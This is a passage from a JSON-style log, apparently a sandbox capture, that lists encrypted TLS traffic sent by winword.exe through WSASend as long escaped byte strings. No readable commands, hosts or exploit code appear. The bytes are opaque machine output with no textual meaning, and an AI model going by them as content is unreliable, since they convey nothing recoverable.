2\\xbaz\\xb9\\tu\\x02o?e\\xd4n\"\\x9at\\x8c\\x8a\\xee\\x04\\xffl\\xb1i2\\x94\\x8e\\x99\\xa6\\x91|h\\x14\\x0c\\x88\\x7f\\xe7\\xaf\n6\\x01\\x0b\\xe1\\xe7\\xdag\\x9b)\\xf6\\x01.e\\xc3\\x13\\xef\\xa6\\x17\\x08\\xf4fbd]\\x19h*4a\\x9a\\xcar1x\\x03\\x1e\\xcb\\x8c\\xf1\\xea\\xdf?0q\\xd7\\xec\\xf4\\x9a\\xbf\\x89\\xc9\\xae\\x9b\\xde\\xd27\\x0b\\xb4\\x1f9\\xd1\\xa0\\xe4\\xa7=\\x03c\r\\x13\\xe2\\x1f$\\x00\\x0br\\xfa0\\xffa"
  716. },
  717. {
  718. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\nc\\xde\\xe6n\\xb5\r)h\\x14\r$ \\xdd\\xe6\\xe8/[\\x81c\\xaa\\x1b@\\xffct\\x08w\\xa3\\x90\\xf0\\x93\\x06\\xde\\xcan4%5.\\xf2\\xb9\\x94\\x14\\xe2z\\xb1\\x83\\xae9\\xeb\\xa6a\\xb8\\xae\\xf2e\\xfb\\xd8\\x1d\\xb6\\xa1j\\xbbl&\\xcf\\x85]\\xc2}\\xc1e=\\xe7\\xe2x\\x88\\xa6lm\\xd0\\xcf\\xf8\\xc8\\xc7(\\xdf\\x9bz9\\xfc+{\\x8f\\xb7m\\xba\\x99ot\\xf1\\x80lp(\\xc4\\x8b\\xb1r\\x8cyx\\x05\\xff\\xe5\\x83m9\\xe0\\xe5\\x01\\xd1>kh\\xfc\\xf8\\xc6i\\xf0\\xa9\\x0e\\xb9~\\xe2ag\\xac\\x95\\x9d\\x85\\xfe\\xff\\xb1\\x1f\\xa8\\x1d\\xc8\\xe2i\\xfa\\x96_\\xd9h\\x9b\\xc5\\xa5\\x9da\\xcaq\\xca\\x07\\x99\\xb2\\x1d\\xdd^\\x82\\x13a\\xcc\\x85\\xfe\\x1a)n]+o\\xd1\\xfb\\x03\\x02\\x1e=w\\x9e\\x9b2\\xdc\\xf2p\\xc0g\\xb6@\\xdd|s\\xe6 \\xf2\\xa7\\xd41pgs\\x9c\t?\\xe0\\xc0\\xa3\\xf9\\xc9\\xef|\\xb0\\xf4]\\xe9t\\x10hc\\xc9\\xc8\\xfbo\\xe4|\\xbe\\x10\\xe3\\xfc\\xcc\\xc2\\x9d\\xb6o\\x987g\\xaf\\x1b\\xbd\\x7f"
  719. },
  720. {
  721. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010r~eq\\xa4\\xe4\\xe7\\xa2c\\x0c\\xfd\\x1e\\xcb\\xadz\\xa6\\x81\\x9es\\x99d\\xdd\\x98\\xfd\\xca\\xfaw\\xa2\\xb6\\xc5\\x85\\xa5\\x8c@\\xe7w\\x8f\\xae\\x84\\xb9yd\\xa0\\x93\\xfd\\x18\\xd8d\\x1b\\x8a\\xbf\\x81\\xc0\\x9b:0\\xd5|&\\x1e\\x90\\xf8\\xce\\xa4sggz\\xcbs\\x14\\xab\\xb4m\\xd5\\\\xcc\\xe9m\\x01\\x07]\\xd1\\x17lt\\xaa\\x9e\\xed\\xad\\x9a\"{+fm\\x00z'\\xf6\\x0e\\x9es\\x83]q\\xfd\\x10\\xad\\x8ao@\\xe5\\x17\\xddz7\\xe6\\xf9\\x96\\xa2wi2\\xaa\\xc8s\\xcb\\xb6}r\\xdc\\xb4\\xf3l\\xec\\xb1\\x1e\\xf3\\x032g9\\xc3\\xad\\xe4\\xf7\\x1d\\xb7\\x88s\\xf1\\x06\\x9b\\x0el\\x93\\x940\\x7f[\\x03\\xc3$\\xaao\\x8e\\xd0\\xc7w\\xc0w\\xbd\\x8c\\x11\\xcb*\\x02]y\\xbe\\xf7fov+.\\xcbj\\xde\\x0c\\xe1\\xe1\\x99\\xefq\\xacj\\xbc\\xf7\\xcd\\xe7\\x13\\xd1\\xb8q\\x84\\x8a\\xd0'\\xd0\\x00\\x08\\xa4\\xbf\\x8c\\xaac\\xf0\\xb7\\x18~\\x93\\x87\\xb10\\xe0v\\x8d\\xea\\xdbw\\xd8i\\xb7.[\\x01\\x0b\\xb2$#k\\x8fp3\\xd0\\xa1\\xfc\\\\xf8"
  722. },
  723. {
  724. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010k\\x8cp\\xb9s\\xd2\\xd0ju\\x81\\x88\\x8d}$[\\xa4\\x7f\"\\xba\\xdew\\x16\\xde\\xd3\\xfer\"x\\x07\\x90\\xf9!\\xed_gi\\xc9\\x8d\\xe9\\x89\\x1e\\x1dn\\x10k\\x0f\\x03ep\\x8ean\\xde\\xf1^\\xbe2\\xdb;u\\xceui\\xe2\\x1a\\x1cfc\\x0c\\xc6\\xa7\\x0b\\xc0q\\x9d\\x99\\xd6\\x98\ndhn\\xa7\\xf7l]q\\xcf\\xacq2\\xcak\\x19v\\xa2:k\\2lp2zbl\\x14\\xf0q\\xeb\\\\x1a\\x96\\xd6\\x10r\\x00\\xc6\\x97b\\xd97\\xa4z\\xdf5c\\x993\\x91\\xe8v\\xcf\\x0c,\\xca\\xe2,\\x9b96\\xd1z\\x8f-b\\x11e\\x1a4q\\xca\\xc6\\x11\\x82\\x1b\\xb9\\xc4\\xeb|w\\xac\\x13\\x9c;\t\"0\\x0e\\xea\\xb1\\xc83\\xb8\\xf2\\xe5\\x0c\"}n\\x96vk\\xad\\xec\\xa2\\x1f\\xc8\\xcel\\xa5\\xd7\\xc8l\\x7f\\xb1)\\xd7\\xee`\\xcb^\\xb1\\xc0\\xee\\xed\\x00\\xedrcb%\\x9a\\xa5\\x8a\\xb6\\xd3\\xad\\x0b\\x19r\\xa7{a\\x99\\xbet\\xc0\\xcb\\x80]\\x9a\\x1f\\x8dgu\\x8f\\xae\\xfb\\x93u\\x91\\xfc\\xc0\\xbf\\x83<j3c\\xe3"
  725. },
  726. {
  727. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010}\\xca\\x82\\xe558\\xf6*t\\x14#\\xaf\\xfe\\xe8\\xba\\x14j\\xc0f;,\\xef\\xca5o\\x9c\\xec\\xfd\\x91\\xf2\\x7f\\x04\\x8c\\xaa'+\\xeb\\xa2\\x8b.\\xc1\\xd0v<\\xf6t\\xadmhp\\x0bi\\xa3b\\xebm\\xa1\\xf5\\x8d\\xe8<\\x83\t\\x05p\tc\\xc9\\x0c\\xfc\\xa8\\xa2\\xe1\\xf6|\\xfd\\x05v\\xca\\xa8\\x91\\xb1\\xa4\\x83\\xb4\\x86\\x99_\\xc5b.\\xb1\\xd1j\\xca\\x0cxvf\\xedm\\xe5\\xc3\\xab)\\xd0u\\x1f\\xe9>u\\xe8\\x1118tr.\\x05\\x16o)\\xc0=\\xd0\t\\xfe\\x12~'<\\xfcq\\xdb,\\xb5\\xe6h2i\\xb1\\xf1!\\x9c\\x1c\\xda\\x99<n\\xb8\\x8bw\\x15#\\x8a\\2u#:\\xefb\\xbb\\x87\\x12\\xb8\\x91\\xc0\\x06\\xf2ep\\xec\\xb1i\\xaf\\x82\\xfa\\xc5\\xdc\\xa4\\x83\\xadf\\xeb;h\\xa4k\\x01nw\\xb5\\xf5\\x14\\xf2f1i\\xa4)sx\\xc3\\xc0!\\xc2\\x15\\xbb\\xdb8ww\\x0f\\x8a^<\\xc8\\xe1\\xab\\xea\\x99\\xe5\\x8d\\xca\\xea\\xb0\\xedu\\xff\\xe6\\xfe\\xb7\\xb3\\x88\\xfd81\\xb1\\x19\t\\x06\\xfa\\xa2\\x1f\\x0c/\\x8b\\x90%h"
  728. },
  729. {
  730. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010_\"\\xf8\\xb6#wj7f\\x16\\xa5fou[\\xb6\\xd6\\x9b\\xaa\\x881\\xf80m\\xbc0g\\x03\\xcd\\x17\\x08h\\x0e\\x9fy\\xa5\\xd55\\xfc#\\xb6_\\x9f\\xb8q\\xff\t\\xd6o\\xb6\\x0f}\\xf8}`p\\xd4k\\x8db\\\\xa2\\xfcsd\t\\xed\\xdd\\xa3\\x8c\\xb3\\x8a\\x88\\x86-&\\xb9\\x93\\`\\x04d`\\xd7\\x00\\xd7\\xb5l\\x1c\\x8819z\\xff\\x82\\x8b\\x1fa(t\\x15\\x8f\\xf1\\x7f\\x0bq\\xa5\\x0c1\\x8e:;\\xc9\\xc9\\xa6q\\xfb|c\\x00h\\xa0t\\xdce\\xd1\\xe0\\x11a^@\\xd9o\\xf1_\\xd3\\xa1\\xfe\\xc0\\x03`\\xf4\\xdd\\xcd2p8\\xc4w\\x17\\xa2\\xa46w!)\\xb295\\xf6\\xf4\\xc7;6\\xaf&\\xe5u[\\x81\\xeb\\x87\\x0c\\xc3\\xb1\\xb8\\x1d/\\x0e\\x99\\xee\\x18\\x87a\\x16qq :\\x7f\\xcdg\\x90a\\xcc\\xf4\\xd5\\xc5@\\x82\\xcd\\xd2\\xeb\\xff>\\xca\\x1f\\xa5\\xf0r\\xc9k%>\\xc4\\xda\\xb4p\\xefpjc`\\xad;|\\x00_%\\x9b\\xb5:\\xbb\\x97\\x14af\\x07_\\x1a* \\xc3\\xf18s/%\\xed4:"
  731. },
  732. {
  733. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010'\\x7f\\xcc\\xf4\\xd2p0a-w\\x83\\x92:\\xa7z\\xf2\\xc3\\xd8\n;nr\\xc8\\x12\\xff\\x80\\x1df\\xa3\\x81%\\xb1\\xbd\\xef1\\xee\\xcdaj\\xf5\\x9df\\xdf6\\xeb\\x9c!o\\xdd(;{\\xfd\\xaa\\xd2x!\\x83\\x87|\\xa5`o\\xc35d\\x8a\\xc4\\xeco\\xa5a.d\\xd1\\x8a\\x18z\\xac\\x93\\x08\\xb7y\\xb4\\xd4j\\xc9\ri;4\\x97&\\xbc\\xac\\xd9]y\\x90\\x88\\x8b\\xf0\\x1e\\x9cx\\xe8\\xc3\\!\\xcc\\xc8\\xd3b{\\x9d\\xd5|4\\xe2\\xc3\\xbe\\x89k\\x928\\x01\\xd2\\x15\\xc2%dn(\\xe4>\\x9dv\\x95\\xcb!\\xa1\\x97\\xc6\\xef\\xbc\\xe9\\xa4\\xc3\\xb9\\x11g\\xf9c\\xa9\\x1d\\xc5\\xbd\\xe3f%\\xeb\\xa7\\xd6\\x1a.\\xbe\\xfe\\x97\\xaa\\xc3l\\x06\\xfe\\xc79\\x10q\\xf8\\x87\\xd2\\xd9\\xbc\\xe1\\xba\\xb5\\x19\\xde\\xb7s\\xb9.o&\\xcf\\xd8\\xf4x\\xc2\\x02\\xa0:\\x1d\\xdb\\xddc\\x06\\xa6f\\x83\\xf39a\\x94n'3\\xf9\\xeb`\\xbco\\xce\\x04\\xb6\\xf3\\xe0/\\x91s\\xb5\\x8d6\\xf1o\\xb7_\\x8cs.\\xd8\\xbe\\xa7\\xb3p+\\xac\\x0f\\x8c\\xfa2\\xdb"
  734. },
  735. {
  736. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x868\\xdf\\xa6\\x95\\x05\\x99\\xebkn\\xedu\\x98\\x87?<i\\x9f[\\xd5\\xc3\\x00\\x9f\n\\xb958\\x99p@v\\xa3\\xa9\\x80'/\\xba\\xeb\\xb1=\\xfa\\xb3\\x87\\xf6t<\\xef\\xb8\\xd5`\\x0f\\xf0\\x1d\n=\\xc4\\xaf.ql4i\\x97:\\x8e\\xd6\"l\\xe9\\xb5w\\xabh\\xc5\\x01u\\x8e\\x19\\xed\\x96\\x94y\\x9b\\xba\\x80\\x9ac\\xa0\\xbc\\xb7\\xa4!*\\x92\\xd9\\xfe\\xfc\\xbc:\\x7fy\\x82vz~\\x7f(\\x82\\xe2\\x98\\xfft\\xef\\x16\\xec\\x19\\x93a\\xc6\\xfe\\x9cc\\xc5g/\\xa5\\x10y\\xe8\\xca\\xc2\\xac+\\x00q\\xe0psc\\xbe/\\xdf2\\x0f0\\xd3\\xaa\\xa7`.\\xa6\\xdb\\xa0^g\\x7f6\\xd8\\xefg\\x053?\\xc6u\\xa5\\x9e-l\\xe2\\xea|\\x06!\\xc2*_\\xe2h@\\xd1\\xa6\\x95\\xf6}\\xb0\\xbc\\x92\\xa2\\x1e\\xef#\\x12\\xbc\n\\x01\\x0fh\\xd3f\\xed6\\xb8\\xd1\\xffj\\xc6\\xed@'\\x1c5\\xbe\\x84\\xebq\\xdc\\xd7\\xb7yy,\\xcc\\x8cst\tf8/d\\xdc\\xbax2,&t\t\\x18\\xff\\xe9l\\xb5\\xcbn\r\\xc4/k\\xb9"
  737. },
  738. {
  739. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb3\\xedpydn\\x80(\\x8b\\xdd\\x17\\xc9\\x0b\\xd1\\xe8\\x9a\\x85\\x99/c\\xc2z\r\\xec\\xc9\r#ph\\x9a\\xa9\\xe0\\xb5\\x94{\\x01\\xea\\x98j2\\x90\\xb8=j\\xa9\\xbcm\\xefg\\x91w\\x0b&\\x8c\\xb7i\\x172\\xdc\\xad\\x9e0h\\xbb\\xcb.\\xa1\\xc7r\\x1b\\xfa\\xd3o\\xbb?v\\xceq\\x93ty \\x83\\x97\\xb1\\xd5\\xf25\\x14\\xce\\xed\\xab\\x12\\xca\\xcd'yq\\xb0\\xf6\\xb2\\x1co\\x12q\\xa3\\xb7\\xd7\\xab\n=\\xdb\\x87\\x01\\x13%\\x039\\xc5\\xd6\\xa3\\xd0~\\xe6$\\xc8\\xf0\\xcb\\x8d\\x83\\xa4\\xe6\\xb6i\t\\x83e\\xc4\"\\x05p\\x1cj<\\x83a\\x81\\xac_\\xe7n\\xe0\\x8d\\xe4y\\xd3\\xdb\\xc82x^\\xdf\\xeb\\xaa}\\x9e\\x8b\\xb5\\xd0#\\xe2uz\\xce\\xec\\x82\\x04\\xda7\\x8cq%\\xbde\\x07\\xbd\\xf6s\\xe8\\xcc\\x95\\xfdi\\xe70\\x10+ba\\xf8h\\xd2\\xe2\\x00l\\xc4y\\xd8\\xe6\\x08\\x05\\xf4\\xe5\\x9b\\x9d\\xbf\\xe6\\xe5&\\xc0u\\xf2\\xddat\\xdc\\x16&w(#\\x1b\\x87\\x85\\x04l\\xa4qe\\x98^\\xbd\\x92\\xf5s\\xa0h\\xc6#\\xcb\\xb4"
  740. },
  741. {
  742. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i\\x01\\x10n\\xd94\\xc1r=\\xe8\\xc4\\xb5)\\xedv\\xc8\\x98\\x9e\\xac\\x9d\\xd9x\\xe1\\xeb\\xe0\\xf7\\xec\\x95\\x7fd\\x11\\xddo\\xa4\\xfd\\x83\\x1f\\x0e$o\\x80\\x02\\xb3\\xf1\\xec8\\xf8\\xda,\\x16\\xde\\xa8\\x16y\\x8f\\x8fj\\xa2\\xbfh\\xfe8\\xfc\\x82=v\\xdf\\x8b\\xcd$\\xe2\\xb04\\xb3\\xc2\\xc0b)\\x9b\\xac\\x82s\\xd5$d\\xab\\x9e\\xf1\\xbd\\xd3\\xf3\\xcd=wg^\\xd8\\x02\\xadc\\xb1\\xcd*qj\\xb6\\x1ej,h3\\xcf\\xdaq\t\\xabc\\xfb\\xacx%\\x84\\x8e/\\x97\\xc6aw\\xf3\\x89b-\\x03\\xd6u\\x1b\\x93k\\x03\\xa9c\\xfc\\xc41\\x90\\x947/\\xf2\\xf9{\\xdc\\x99}\\xda\\xc1\\x10\\xaf\\xcat\\x85'>r\\x06\\xcf\\x18d[\\x962\\xa3\\x1b\\xc7\\x80\\xe2\\x92\\x89\\xbd<\\x8d|\\xd9\\xb7\\xb1\\x11\\xe5t#\\xfc\\x0e\\xc0\\x94\\xce\\xd5\\xb6\\xde\\x98 \\xea9f\\xac\\xf4\\xc9\\xff6*wd\\x0b\\xd0\\x85\\xab\\x17\\xab\\x07\\x10\\xf4 \\xdc\\xe0\\xec\\xd9\\xae\\x10\\x91\\xe1;\\xc7\\x1f\\x9e\\xdf\\xeb\\xe9\\xcf\\xcc\\xd7\\x84z\\xf7&\\x93\\x16\\xaa\\xbcr\\x10v6\\x1c"
  743. },
  744. {
  745. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x97\\xdf\\x04\\xcc\\xf0\\xa8\"(\\x92wx;(\\xca\\xee\\xa2\\xf5\\xdec\\xc6\\xbf^\\x898\\xc7i\\xb3f\\x95\\x83s\\x18.\\x02#ye\\xed\\xdc\\x9d\\xe4\\xb4\\x9bf\\xd4qp\\xf5\\x9f\\xa2\\xb2\\xae@y\\x17\\xb4\\xed\\x10\\xe8\\xa4\\xb5\\xf0^\\xc7v\\x16\\xc0c3\\x8f\\xd3\\xfc\\xfb\\x95zt\r\\x99xdo\\x8a\\xb4\\xe0\\xa6!\\xd9\\x8a\\xc9\\xea#\\xfd\\xa5\\x89\\xeff\\x83 \\xb0q\\xa6>\\x14\\x88\\x8e\\x1c\\xc0\\x97\\x0c\\x1cd\\x10\\x0e1\\xecm1\\xb2`\\x9d\\x9c{\\xf3\\xd3\\x86\n} 0\\xf6u\\x08k\\x02h\\xd3uk\\x08u\\x9f\\x7f\\xc4\\x91z\\x8aqtg-\\xb8\\x02\\xd4\\xd8\\x80\\xcf2\\xfew\\\\x97nu7\\xf1\\xb6s\\x87\\xff?\\x17\\xd3z\\x84'\n\\xb8$e?\\xf8>a\\xce\n\\x0c\\xa0\\x87\\xf8\\x96\\xe3\\x0f+ud|q\\xd9)o\\x06\\x1b\\x8d\\xf6\\xdb:\\xcf\\xe7=\\x96\\xd8\\x0e0\\xa0\tf\\xcel\\xeeh\\xa0d\\xcdc\\xe0\\xbb\\x10p\\x94'\\xee\\xfak\\xd8|\\x9e\\x03.g,\\xe5\\xea\\xd6/[\\x17\\x03\\xb8\\x0c\\xa6\\x94"
  746. },
  747. {
  748. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd4\\xaft\\x85\\xd5\\x90\\xd0{\\x8c\t\\xf0\\x0f\\x83i[/\\xc6\\x8d\\x82\\xf7mo(\\x85\\x12\\xfe>so\\xe8\\x17\\xc4\\x03\\x00(o#\\x07\\xbd\\xdc\\x15\\x98\r\\xb1s\\xc5\\xe7o\\xbb3\\xe8i\\xce\\xe7*\\x00\\xad\\x13h\\x08\\xf3\\xcd\\x03\\x95\\xd7]87+\\xc1\\xa79\\xe8h(f\\x98@\\x01\\xfe\\xe7bw\\xae%y{4(\\xcdg\"\\xeeg\\x0c\\xd0\\x16\\x14\\xcc\\xd0\t\\xd2\\xd0\\xe9x\\xbd\\xb2}\\xb4\\x04{\\x05\\x1d\\xcb\\x1a\\xc7dc-axt\\xacw\\xb2\\\\xae\\xbd_\\x9f\\xe1\\xaf\\xc9\\xea\\xd1z\\xee\\xe8oy} )9\\x97h\\xd6\\xa2\\xd8\\x1fj\\xc5>\\x98\\xf4)t{w\\xc1\\x8dy\\xed\\xe8\\xf6\\xd3\\x81)f\\xf4\\xfba\\xc4\\x83\\xc5\\xf9\\xad\\xcd\\x9b\\x1f~\\x96\\x7f\\x88\\xebc\\xc6\\xf4v\\xf1\\x7f\\xb9\\xc5\\x9f\r\\x042\\x9a\\x98av\"-j\\xb2e\\xff<\\xact\\x8a\\x11d-\\xea\\x8e3]\\x95\\x89\\x07\\xa7#\\x91\\xdf\\x04\\x9f\\x1c\"e<\\x1b\\xbd\\x01\\xe0&\\xdc\\xf2\\x9aj\\x10t\\xa3\\xd1j\t\\x87l\\xf5b\\xbb"
  749. },
  750. {
  751. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9c\\x1ej\\x9e\\s\\xc9\\xa9%\\x1e\\xfe\\xd2 \\x8c\\x1ff\\x8a\\xc6\\xec\\x19\\x1b\\x80\\xf2\\xe7\\xba\\xf2\\xe9l\\xb5g}4\\x0c\\xf2g\\x18\\x05\\x94\\xe8\\x960n\\xb7t\\xb6\\x19\\xac\\x8bsoz\\xc8\\xcdbb\\xfd\\xaa\\x9a\\x96\\xd1\\xf4\\xa3\\xd8\\x0e}b\\xe6u\\x7fe\\xd6|\\xa9\\xe5!\\xbd(\\x05\\xc7\\xa9\\xc2\\x17\\x8d\\x05\\x8c\\xb2\\xbc\\xc9l\\xe9\\xac \\x9b\\xf5\\xb5=\\x9ee\\x18uq\\xe8\\x18\\x1f\\xbf\\xf4f\\xd9%\\x06k\\xee\\xb2y\\x1d(ig\\xd8\n`\\xa6\\x12\\x1e\\xb3\\x96v\\xc7\\xc2\\xa9\\xba\\xa2\\xde\\xccf\\xb0nmk\\xfd\\xe93\\xac\\x1b\\xf8i}\\x0eaq}\\xc8'\\x97\\x96\\x86\\x0c\\xd0\\x83i\\x16\\x1e*\\x01\\x1b\\x8b\\xfaw\\xcev\\x0c\\xa9\\x94\\xb86\\xef2\\xe9\\xebe\\x96\\xf2\"\\x9d\\xb5\\xecg\\x1a\\xbct\\xd3)\\x95\\xef\\xba\\xf8\\x8b\\x9b\\x7f\\xb6\\xbc\\xf1\\xb2h\\x08\\xa8m\\xeb`\\xd4z|\\x1fq\\x9e\\x80\\xf2\\x9d\\xd6\\xa8\\xa2f\\x86d\\xef\\xf3\\x03\\x9b \\xb3\\xd8 \\x0e\\xb3\\x9e\\x9e\\x0f\\xf4 \\x9c\\x17s\\xab\\xdf\\xe3fkt=j\\x82"
  752. },
  753. {
  754. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010.)\\xca6\\x8at(\\xb4y\\x80\\x03\\xfc{\\x98\\xbd0\\x92\\x9b\\x90da:,v\\x17\\x9ei\\xd8\\xb6u\\xb0\\xe3#\\xf5\\xca!\\xfd\\xf7\\xbd\\xe0\\x88\\xf0\\x05\\xec\\x8c\\xe9t\\xd2\\xea\\xfdkzhjfv\\xfa9\\xe94g\\xc6e\\xf4#\\xb9j\\x01s\\x96\\xd7\\xb21\\xe7\\xf4\\xc0\\xd6\\xef}\\xa7\\xa2\\xce\\xben\\x19\\x12\\x9b\"\\x12\\xabh\\xb3\\xd2\\xf2(\\x1d\\x0c\\xba!+v\\x9dn\\xaa\\x10\\x02\\x0e\\xccc~\\xab\\x19\\x1c\\xa2\n\\xeczj\\xd2\r?\\xb5\\x9c\\xc8l\\xd2\\xdf\\xe2\\x0e*k\\xb2dv\\x8f_\\xa9\\xb5\\xee\\xb3\\xad\\x81\\x95q\\xe7\\xf9\\xe4\\xd7?\\xe8\\x0c\\xed}b!\\xe3\\x89\\xe4ph\\xf0\\xf5e\\xf8\\xd6\\xaf4'\\xa1[\\xf6\\xcc\\xeb\\xad\\xe3z8\\x05a\\xf9p\\xf4\\x96\\xcc\\x89* \\xd7\\xd0b\\xc8\\x98\\x11\\xc2\\x04p\\xdfhvb\\xc66\\xe2n\\xfb\\xa4\\xb1l\\xfct\\x92r#!\\xb8p+\\xbf2\\x11\\x9d\\x82d\\x07\\xbc|\\xbat\\xdeud\\x19\\xa6\\xcd\\xc6/\\xb7\t\\xb7\\xd6z\\xd9v45fc\\x0f\\xc8\\xdb\\x93"
  755. },
  756. {
  757. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010q\\x0c`\\x9b#\\x9d\\x10\\x00ic\\x85\\xe5c\\xf3\\xfc\\x1an\\x19ur\\x18\\xd37\\xc6\\x01!g\\x04r4\"\\x14\\x02<\\xf6z@\\x0c\\x85n\\xf5\\xfa\\xe6}\\xb3\\xde\\xcc\\x8b\\x87\\xaf\\x0e?\\x8f\\xcc%h\\x04\\xd2@qx\\x031\\xc7_\\xc4u\\x07\\xf5\\xa7\\xd2\\x9fr\\xe4\\xc8\\xd7-\\x07\\xb1\\x8e6g\\xd3d\\xe2g5\\xc9\\xa2\\x86wa\\xa1\\x1a\\x15\\x81\\xb8\\xab\\xe3d\\x84\\xee\\xa2\\xb7;'\\xa6mb\\x8a\\xef\\\\xbc\\x82\\xd43\\xd2\\xe4\\x06dc\\xf4a\\x16\\x8e\\xfc\\xa6\\xa4\\xe8\\x86\\xa1\\xe8\\x15\\x80\\x06$c\\xd4\\xe5\\x9f\\x13\\x8c\\x93o\\xa1}\\x19\\xa0#\\xa3\\x18\\x16\\xbd&\\x86\\xa4\\xb0,\\xa5\\x92km\\xdd!k_\\xc0rk\\xb9\\xa8\\x0er\\xf9\\xed\\xb4o\\x9f\\xc2\\x11`\\xe1\\xc7\\x1c\\xaa\\xb33\\x96,\\x12\\xcf\\x9790\\xf7\\xd1\\xa7^\\x00\n\\x0blj\\x96\\x0f\\x85\\xb8\\xf9m\\xe0\\xe9\\xa7y\\xcd\\x14\\x0b\\x06_\\xf6\\xd7~\\xa2\\x1f\\x87\\xc4\\xf9\\x92\\x07h\\x0e//\\x17\\x08\r\\xe0\\x9c\\x80\\xa6hq9\\x13\\x1c[\\xf6!w\\x0c\\xab'"
  758. },
  759. {
  760. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcan\\xae;z|gs\r\\x01;\\xd2e\\x1e\\x8c\\xferw\\xf3\\xe9\\xc8>\\xbct\\x1ex\\xb4\\x8d\\xb0\\xf9\\xb2w\\xe9{\\xaef\\x1a\\xefo\\xd4\\xf7\\x0b]\\x84\\xb8%\\x9d;\\xd1\\xeddkq\\xccc\\xe8\\xe76f*pp\\x87\\xb7\\xa03\\xa7\\x9awd\\xae\\x16a\\xb5+\\x07\\x86\\x85~.v\n\\x0c\\x80\\xae\\xc7\\x08\\xbas,\\xcd\\xe7\\xfa`\\xcdp\\x1aw\\x96\\x0e\\xe7@su\r\\xb6p\\xca\\xb2(\\xadu\\xc6\\xd8q\\xb0+\\xefy\\xfc[`qq\\xa2\\xe3s\\x82\\x15~\\xef\\x8a)y\\xd9\\xa2@\\xde\\xa5^\n\\xdcj1\\xce/d\\x05:\r}y\\xa1\\xbaar\\xff\\x19j\\xfa\\x88j\\x84\\xe1g\\x06^\\xce\\xcc\\x072\\xea\\xc3*\\x9f%\\xd6\\x84y\\x97\\x08\\x85\\x8a\\xe6\\xcaj\\xe2\\xce\\x19\\x85\"\\x84\\xcc\\x97\\xf9\\x1f\\xb4\\x87c#\\xd9j\\xe4\\x12*\\xbdg3($0\\x8c\\xae\\xa91\\xea\\xea\\xcd\\x1a\\xb5\\xe4\\xb9k\\xa3i\\x03\\xc7\\x12\\xbaq\\xb0\\x1c\\x1eb\\xfb\\xae\\xc7\\x91?/\\x0fg\\x9fw\\xac\\x17\\xfc\\x8e\\x8a\\xc8\\xa5"
  761. },
  762. {
  763. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb86wc\\xd0\\xe6\\xed\\xbf\\x19r9jk\\xbb\\xc6s\\x97w\\x94\\xa1\\xca\\x83\\xe2\\xe2'w\\xe31\\x8a\\xeb@\\x1dk\\xe5\\xb9b\\xd7\n\\xa1\\x1a\\xb0`\\xe4\\x1ci\\x83\\xd4\\x7f\\xd6\\xf06\\xe0&\\x13c1\\xa8\\xe2`v\\x96\\xe6o\\xc8dy3\\xb6\\x1c\\x95ab\\xbf\\xbd\\xc3q\\x83\\x10u)\\x04bs\\xce\\x9f}\\xe2\\xe1l<\\xe8t\\xdcf\\xc9z:\\x02dl\\xac\\x1c$^_\\x1a\\x19\\xdaxk\r\\x91p\\x1dq\\xee/\\xe4i\\x85\\x97\\x9d\\xf7z:\\xda\\xcd\\xdae\\x10\\x07\\xd6\\xb1\"\\xfdi\"l\\xb4\\xb5l\\x99p\\xa5x+\\xa0p!\\xcf\\x96&\\xe0\t\\x9a\\xc5hx\\xe0\\xce\\xcf0\\x1d\\x1e\\x10\\xad\\\\xe4\\x00p\\xffd\\xe6z\\xe9\\xb9u\\xa7\\xff\\x0b\\xc3\\xc7;a\\x80~2!0\\xd6\\x12\\x10\\xb6\\xc8\\x1b\\xcf\\xfe;r\\x0bx\\x87\\xdd\\x97bb\\x85\\xa0t\\xaa|\\x05\\xd5\\xdc\\x13\\x9a\\xbei\\x95\\x19\\xb1\\xf7\\xbc\\x1b\\xae%\\x82\\x19+(r\\x0e\\xfes\\x01d;\\xe75\\x12\\xce\\xc3:`\\x94 \\xe0\\x0c\\x83\\xbd*"
  764. },
  765. {
  766. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x84\\xb4}@gdi\\x04;`\\xbe\\x07\\xbe\\x9a\\x9b\\x88\\xf1\\xa6k'\\xa2s\\xdb\\x01t\\x8b^\\xcd\\x9f\\x040t\\xdf\\xe1\\xcb\\xf5\\x18a\\x8boja7\\xf6i)\r\t\\xc5\\x000\\x90\\xf5;\\xfd\\xd4\\xa0\\xa4\\x93n\\xae\\xa5\\x16\\xb0\\x8a\\xf6\\xcc\\x03\\xcf\\x1fh\\xdb-\\xf4\\xf6te[\\x85>\\x80\\x08\\xb1@\\xfc\\x046\\x7fun\\xc8\\x14\\x0c9\\xc1\n\\x1ev\\o#\\xb2\\x82\\xd7<\\xe0vx_@\\x08-\\x91/\\x8f\n`f\\xbd\\xef\\x8f\\xba:\\xb6\\x91\\xf4\\x08\\x1b\\xcc\\xd2\\x82du\\xcf\\xf3j\\xc0\\xe5\\xda\\x9b\rix\\xa7\\xad\\x01|\\xf2a(\\xa1\\x1c\\xcc\\xbc\\xcd\\xce'\\x844;\\x9c\\\\x8c\\x96\\x92\\xea\\xa3\\xc5g\\x88\\xde\\x0b\\x90\\p\\x8e\\x1a\\xc6\\x1b\\xcb\\xd6\\x1d\\xc9\\xa4j\\xfa\\x93\\xae\\x12g\\xb6-\\x90\\xd3gl\\xab\\xdd\\xbe\\xdc5\\xb2\\xa1z}\\xcd\\x01\\xbe\\x12\\xa0m\\x9d3#\\xe0:\\xef\\xa4\\x7f\\xa9\\xc9y>>t\\xb5\\xa3\\x87\\x8f\\xf3t\\xcdjby$\\xffbo\\x9b